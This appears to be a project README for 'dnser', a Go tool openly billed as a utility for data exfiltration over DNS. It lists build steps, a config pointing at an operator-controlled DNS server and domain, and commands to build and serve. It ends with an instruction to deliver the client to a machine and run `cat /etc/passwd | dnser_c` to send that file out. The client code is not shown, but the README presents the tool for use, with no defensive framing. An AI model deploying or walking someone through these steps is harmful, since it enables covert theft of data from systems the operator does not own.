
Utility for data exfiltration using the DNS protocol!
Explore the docs »
View Demo
·
Report Bug
·
Request Feature
This section explains how to install the utility.
go version >= 1.21.5
- go
go version
- Clone the repo
git clone https://github.com/fedoik/dnser.git
- Go to folder
cd dnser/src/
- Install go packages
go mod tidy
- Build the server binary
go build server.go
Before you start using it, you need to build the client binary, after which you can up the server.
- Create config
server:
port: <dnsport>
host: <ip>
domain: <domain for resolving>
client:
projectDir: <path to dnser/src/ (example: /tmp/dnser/src/)>
- Build client. We get the path to the client binary
./server -config <path to config> -build
- Start the server
./server -config <path to config> -serve
- After that we deliver the client and launch
cat /etc/passwd | dnser_c
For more examples, please refer to the SOON
- Rewrite the DNS resolver so as not to use CGO. (Cross -platform)
- Rate limit for dns requests (From config)
- Сhange subdomain size from config
- Fix size
- Random size
- Output into file
See the open issues for a full list of proposed features (and known issues).
If you have a suggestion that would make this better, please fork the repo and create a pull request. You can also simply open an issue with the tag "enhancement". Don't forget to give the project a star! Thanks again!
- Fork the Project
- Create your Feature Branch (
git checkout -b feature/AmazingFeature
) - Commit your Changes (
git commit -m 'Add some AmazingFeature'
) - Push to the Branch (
git push origin feature/AmazingFeature
) - Open a Pull Request
Distributed under the project_license. See LICENSE.txt
for more information.
Tg - @fed01k
Project Link: https://github.com/fedoik/dnser